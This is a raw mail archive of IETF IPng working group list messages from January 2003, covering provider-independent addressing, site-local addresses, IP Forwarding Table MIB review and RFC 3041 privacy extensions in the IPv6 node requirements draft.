Cc: "Tim Hartrick" <tim@mentat.com>, <ipng@sunroof.eng.sun.com>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B6B@server2000.arneill-py.sacramento.ca.us>
Message-Id: <3B503A69-3503-11D7-A9E5-000393AB1404@kurtis.pp.se>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>> If we are seriously considering doing PI allocations then
>> we should probably start the process of collecting
>> proposals for how to make it scale.
>
> This is the semantics police speaking:
> PI = Does *NOT* scale.
>
> Tim, I don't doubt your intentions, but please don't call it scalable
> PI. There is no such thing. Please call it GAPI, GUPI, xxPI but not PI.
>

You are missing the time and money axis's.

PIs does scale. The current routing paradigm doesn't. These doesn't 
have to be linked.

- kurtis -

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:10:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEA1Qb021476;
	Fri, 31 Jan 2003 06:10:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VEA1El021475;
	Fri, 31 Jan 2003 06:10:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE9vQb021468
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:57 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VEA5VK016056
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:10:05 -0800 (PST)
Received: from dhcp-168-17-67.autonomica.se (dhcp1.kurtis.pp.se [195.43.225.70] (may be forged))
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA03041
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:59 -0800 (PST)
Received: from kurtis.pp.se (localhost [127.0.0.1])
	by dhcp-168-17-67.autonomica.se (8.12.2/8.10.2) with ESMTP id h0VEAlhE021762;
	Fri, 31 Jan 2003 15:10:52 +0100 (CET)
Date: Fri, 31 Jan 2003 11:21:02 +0100
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: Tim Hartrick <tim@mentat.com>, ipng@sunroof.eng.sun.com,
   ipng-incoming@danlan.com
To: Margaret Wasserman <mrw@windriver.com>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
In-Reply-To: <5.1.0.14.2.20030127092732.03640900@mail.windriver.com>
Message-Id: <B3135DDF-3505-11D7-A9E5-000393AB1404@kurtis.pp.se>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>
> Personally, I _would_ like to see the IETF seriously pursue PI
> allocations.
>
> I'm not sure where to start, though.  Perhaps we should get some
> proposals together and hold a BOF?
>

Why not just write a draft?  I would be willing to do it if noone else. 
It's not that much that needs to go in there...


- kurtis -

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:10:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEA6Qb021485;
	Fri, 31 Jan 2003 06:10:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VEA6KF021484;
	Fri, 31 Jan 2003 06:10:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEA2Qb021477
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:10:03 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VEABVL021336
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:10:11 -0800 (PST)
Received: from dhcp-168-17-67.autonomica.se (dhcp1.kurtis.pp.se [195.43.225.70] (may be forged))
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA03083
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:10:05 -0800 (PST)
Received: from kurtis.pp.se (localhost [127.0.0.1])
	by dhcp-168-17-67.autonomica.se (8.12.2/8.10.2) with ESMTP id h0VEB7hE021768;
	Fri, 31 Jan 2003 15:11:07 +0100 (CET)
Date: Fri, 31 Jan 2003 11:52:14 +0100
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B6E@server2000.arneill-py.sacramento.ca.us>
Message-Id: <0EC279C9-350A-11D7-A9E5-000393AB1404@kurtis.pp.se>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Assuming? Hello? This exactly what PI is. If there is no central 
> routing
> it's not PI anymore. PI is what we have _today_.

Exactly. And today we don't have a billion routes.

- kurtis -

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:24:31 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEOUQb022026;
	Fri, 31 Jan 2003 06:24:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VEOUZX022025;
	Fri, 31 Jan 2003 06:24:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEOPQb022018
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:24:26 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VEOYVK022643
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:24:34 -0800 (PST)
Received: from hoemail1.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA02806
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:24:27 -0700 (MST)
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by hoemail1.firewall.lucent.com (Switch-2.2.2/Switch-2.2.0) with ESMTP id h0VEOPW24321
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:24:25 -0500 (EST)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2653.19)
	id <DVZN3678>; Fri, 31 Jan 2003 15:24:24 +0100
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155C83B14@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
Subject: RE: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (2/2)
Date: Fri, 31 Jan 2003 15:24:22 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Thanks for the review Mike.

May I add that I am also missing an IPR statement as required
per RFC2026 sect 10.

And... you issued the doc in Nov 2002, and have listed that
it expires in Dec 2002. Should we still be reviewing this doc?
Let us hope that ietf secretariat does not use that date that
you put in the doc ;-)

W.r.t. 
> 11.)  I notice that ranges have been added to ipForwardPolicy and
> ipCidrRouteTos index variables to ensure that they are non-negative.
> That's not actually required by the SMI, and, strictly speaking,
> it is not a legal revision.  It is probably acceptable since it
> cannot possibly change anything on the wire, but another solution
> would be to leave these as-is and turn off the the strict checking
> in your SMICng include file (#removeOpt "B").
> 
I have been encouraging people to add ranges to index objects when/if
they make sense. And I think in this case they do make sense.
As you say, strictly once cannot make such a change.
But also, strictly, a negative index is not allowed. 

Bert
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:27:21 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VERKQb022081;
	Fri, 31 Jan 2003 06:27:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VERKP5022080;
	Fri, 31 Jan 2003 06:27:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VERGQb022073
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:27:16 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VEROVK023114
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:27:24 -0800 (PST)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA21864
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:27:18 -0700 (MST)
From: john.loughney@nokia.com
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0VEQEk10753
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:26:14 +0200 (EET)
Received: from esebh004.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T602178fa76ac158f21142@esvir01nok.ntc.nokia.com>;
 Fri, 31 Jan 2003 16:27:16 +0200
Received: from esebe016.NOE.Nokia.com ([172.21.138.55]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Fri, 31 Jan 2003 16:27:16 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe016.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Fri, 31 Jan 2003 16:27:16 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: Node Requirements and 3041
Date: Fri, 31 Jan 2003 16:27:15 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE44B6AB1@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Node Requirements and 3041
Thread-Index: AcLHu0xcl2nS7FeyT7S41d5FeXpnJQBYJYiw
To: <Alain.Durand@Sun.COM>
Cc: <brian@hursley.ibm.com>, <Francis.Dupont@enst-bretagne.fr>,
   <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 31 Jan 2003 14:27:16.0148 (UTC) FILETIME=[DA85CF40:01C2C934]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0VERGQb022074
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Alain,

Good points. I will try to craft text to cover this & I will send it to the list.

br,
John

> -----Original Message-----
> From: ext Alain Durand [mailto:Alain.Durand@Sun.COM]
> Sent: 29 January, 2003 19:26
> To: Loughney John (NRC/Helsinki)
> Cc: brian@hursley.ibm.com; Francis.Dupont@enst-bretagne.fr;
> ipng@sunroof.eng.sun.com
> Subject: Re: Node Requirements and 3041
> 
> 
> 
> On Tuesday, January 28, 2003, at 05:44 PM, john.loughney@nokia.com 
> wrote:
> >
> >    Privacy Extensions for Stateless Address Autoconfiguration 
> > [RFC-3041]
> >    SHOULD be supported.  It is recommended that node behavior be 
> > configurable
> >    when they are available.
> 
> There is a catch to this last sentence.
> Using RFC3041-type addresses is IMHO not a property of node,
> not a property of user context, and not even a property of 
> applications.
> This is a property of the specific connections within each 
> application.
> 
> There are a number of things that are known not to work when 
> RFC3041-type
> addresses are in use, e.g. rlogin with the weak security provided by 
> .rhost files,
> anti-spam filters on some mail relays, reverse DNS, etc... On 
> the other 
> hand,
> masking the mac address has some good properties for some apps.
> 
> So, having a configuration knob that is node-wide, user-wide or even
> application-wide is too large, as a complex application may use
> several connections, and RFC3041-type addresses may be fine for
> some but damaging for others.
> 
> So it seems to me that the sensible way to go is to have a 
> socket option
> that application developers can use on a per socket basis.
> 
> I think some of this discussion should be capture in the node 
> requirement document.
> 
> 	- Alain.
> 
> 

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:30:47 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEUkQb022124;
	Fri, 31 Jan 2003 06:30:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VEUkKI022123;
	Fri, 31 Jan 2003 06:30:46 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VEUfQb022115
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:30:41 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VEUnVL025456
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:30:50 -0800 (PST)
Received: from schreiadler.hs-harz.de (schreiadler.hs-harz.de [194.95.16.227])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA05278
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:30:42 -0700 (MST)
Received: from fischadler.hs-harz.de ([194.95.16.222])
          by schreiadler.hs-harz.de (Netscape Messaging Server 3.6)
           with ESMTP id AAA3E98 for <ipng@sunroof.eng.sun.com>;
          Fri, 31 Jan 2003 15:30:41 +0100
Received: from silberkraehe.hs-harz.de ([194.95.16.221])
	by fischadler (MailMonitor for SMTP v1.2.0 ) ;
	Fri, 31 Jan 2003 15:23:55 +0100 (CET)
Received: from silberkraehe.hs-harz.de ([127.0.0.1]) by
          silberkraehe.hs-harz.de (Netscape Messaging Server 4.15) with
          SMTP id H9L1PA00.K4C; Fri, 31 Jan 2003 15:31:58 +0100 
Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by
          silberkraehe.hs-harz.de (Netscape Messaging Server 4.15) with
          ESMTP id H9L0G700.P4Z for <u13693@fh-harz.de>; Fri, 31 Jan 2003
          15:04:55 +0100 
Received: from engmail2sun.Eng.Sun.COM ([129.144.134.19])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA08376;
	Fri, 31 Jan 2003 05:55:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.SFBay.Sun.COM [129.146.168.88])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VDtfVP019064;
	Fri, 31 Jan 2003 05:55:47 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDo5Qb021257;
	Fri, 31 Jan 2003 05:50:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VDo5g1021256;
	Fri, 31 Jan 2003 05:50:05 -0800 (PST)
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDo1Qb021249
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:50:02 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VDoAVK013059
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:50:10 -0800 (PST)
Received: from raven.ecs.soton.ac.uk (raven.ecs.soton.ac.uk [152.78.70.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA19885
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:50:03 -0700 (MST)
Received: from roadrunner.ecs.soton.ac.uk (roadrunner.ecs.soton.ac.uk [152.78.68.161])
	by raven.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id NAA15539;
	Fri, 31 Jan 2003 13:49:58 GMT
Received: from login.ecs.soton.ac.uk (login.ecs.soton.ac.uk [152.78.68.162])
	by roadrunner.ecs.soton.ac.uk (8.12.3/8.12.3) with ESMTP id h0VDnuAU019378;
	Fri, 31 Jan 2003 13:49:56 GMT
Received: (from tjc@localhost)
	by login.ecs.soton.ac.uk (8.11.6/8.11.6) id h0VDnuw13004;
	Fri, 31 Jan 2003 13:49:56 GMT
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Date: Fri, 31 Jan 2003 13:49:56 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Brian E Carpenter <brian@hursley.ibm.com>
Cc: "C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
Subject: Re: Issue #1 [Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)]
Message-ID: <20030131134956.GK12232@login.ecs.soton.ac.uk>
Mail-Followup-To: Brian E Carpenter <brian@hursley.ibm.com>,
	"C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
References: <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net> <3E3A7C16.FC548303@hursley.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E3A7C16.FC548303@hursley.ibm.com>
User-Agent: Mutt/1.4i
X-ECS-MailScanner: Found to be clean
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, Jan 31, 2003 at 02:37:26PM +0100, Brian E Carpenter wrote:
> "C. M. Heard" wrote:
> ...
> > Synopsis:  I question the appropriateness of using the DSCP field
> > to represent routing policy, and I recommend replacing the
> > inetCidrRouteDscp object with a more generic inetCidrRoutePolicy
> > object. 
> 
> Personally, I agree. This possible usage of the DSCP is too
> speculative to bless it in a MIB.

Also agree.

Tim
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 07:02:25 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VF2OQb023425;
	Fri, 31 Jan 2003 07:02:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VF2OOZ023424;
	Fri, 31 Jan 2003 07:02:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VF2GQb023417
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:02:21 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VF2OVL002304
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:02:25 -0800 (PST)
Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA19799
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 08:02:18 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0VF1mvH104204;
	Fri, 31 Jan 2003 16:01:52 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0VF1XYR117022;
	Fri, 31 Jan 2003 16:01:34 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA50474 from <brian@hursley.ibm.com>; Fri, 31 Jan 2003 16:01:32 +0100
Message-Id: <3E3A8F9E.9EC585D8@hursley.ibm.com>
Date: Fri, 31 Jan 2003 16:00:46 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <0EC279C9-350A-11D7-A9E5-000393AB1404@kurtis.pp.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Kurt Erik Lindqvist wrote:
> 
> > Assuming? Hello? This exactly what PI is. If there is no central
> > routing
> > it's not PI anymore. PI is what we have _today_.
> 
> Exactly. And today we don't have a billion routes.

Fortunately enough, if you would like the routing algorithms to
converge in real time.

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 09:02:22 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VH2JQb023787;
	Fri, 31 Jan 2003 09:02:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VH2I2L023786;
	Fri, 31 Jan 2003 09:02:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VH2FQb023779
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:02:15 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VH2NVK029694
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:02:23 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA19222
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:02:18 -0700 (MST)
Received: from nsh-opal.windriver.com ([147.11.38.222])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id JAA24832;
	Fri, 31 Jan 2003 09:01:11 -0800 (PST)
Message-Id: <5.1.0.14.2.20030130213450.02819c80@mail.wrs.com>
X-Sender: routhier@mail.wrs.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 30 Jan 2003 21:36:38 -0800
To: john.loughney@nokia.com, <ipng@sunroof.eng.sun.com>
From: "Shawn  A. Routhier" <shawn.routhier@windriver.com>
Subject: Re: MIB support in IPv6 Node Requirements draft
In-Reply-To: <A16A3EE4D4CA124FADC7987B1AC89FE4050D3F@esebe022.ntc.nokia.
 com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

The update to RFC2011 will also cover the information from 2465 and 2466
and so those will not need to be required.

regards,
Shawn

At 04:06 AM 1/28/03 +0200, john.loughney@nokia.com wrote:
>Hi all,
>
>Currently, updating the node requirements, I am updating the text to say:
>
>  In a general sense, MIBs SHOULD be supported by nodes that support a SNMP agent.  
>
>At least these should be supported
>
>  http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2011-update-01.txt
>  http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2096-update-02.txt
>
>What about these:
>  Management Information Base for IP Version 6: Textual Conventions and General Group (rfc 2465)
>  Management Information Base for IP Version 6: ICMPv6 Group (RFC 2466) 
>  IP Version 6 Management Information Base for the Multicast Listener Discovery Protocol (RFC 3019) 
>
>Should they be supported as well?
>
>Thanks,
>John
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>-------------------------------------------------------------------- 

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 09:36:12 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VHaBQb024134;
	Fri, 31 Jan 2003 09:36:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VHaBAs024133;
	Fri, 31 Jan 2003 09:36:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VHa8Qb024126
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:36:08 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
